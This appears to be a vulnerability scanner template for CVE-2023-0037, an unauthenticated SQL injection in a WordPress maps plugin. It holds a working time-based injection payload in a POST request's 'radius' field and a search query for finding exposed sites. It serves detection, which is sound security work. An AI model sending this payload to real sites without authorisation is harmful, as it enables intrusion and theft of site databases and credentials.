The 10Web Map Builder for Google Maps WordPress plugin before 1.0.73 does not properly sanitise and escape some parameters before using them in an SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection
id: CVE-2023-0037
info:
name: WordPress 10Web Map Builder < 1.0.73 - Unauthenticated SQL Injection
author: riteshs4hu
severity: critical
description: |
The 10Web Map Builder for Google Maps WordPress plugin before 1.0.73 does not properly sanitise and escape some parameters before using them in an SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection
impact: |
Unauthenticated attackers can execute SQL injection through AJAX actions to extract the complete WordPress database including user credentials, map configuration data, and sensitive site information.
remediation: Fixed in 1.0.73
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-0037
- https://wpscan.com/vulnerability/33ab1fe2-6611-4f43-91ba-52c56f02ed56/
- https://bulletin.iese.de/post/wd-google-maps_1-0-72_1
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-0037
cwe-id: CWE-89
epss-score: 0.03911
epss-percentile: 0.89763
cpe: cpe:2.3:a:10web:map_builder_for_google_maps:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: 10web
product: map_builder_for_google_maps
framework: wordpress
zoomeye-query: http.body="wp-content/plugins/wd-google-maps"
tags: wpscan,cve,cve2023,wordpress,wp-plugin,wp,wd-google-maps,sqli,time-based,vkev,vuln
http:
- raw:
- |
@timeout: 15s
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
radius=1+and+(SELECT+7741+FROM+(SELECT(SLEEP(7)))hlAf)&lat=0.0&lng=0.0&distance_in=km
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'contains(body, "wd-google-maps")'
- 'contains(content_type, "text/html")'
condition: and
# digest: 490a0046304402204893ebd3117f44c41211003dbe16202749c260334425ef43879989c41a5ceb59022070d1e67ed7373f2ade8989bc778651e6cb46ad2ef4b18c5b6e212b5dd9959000:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.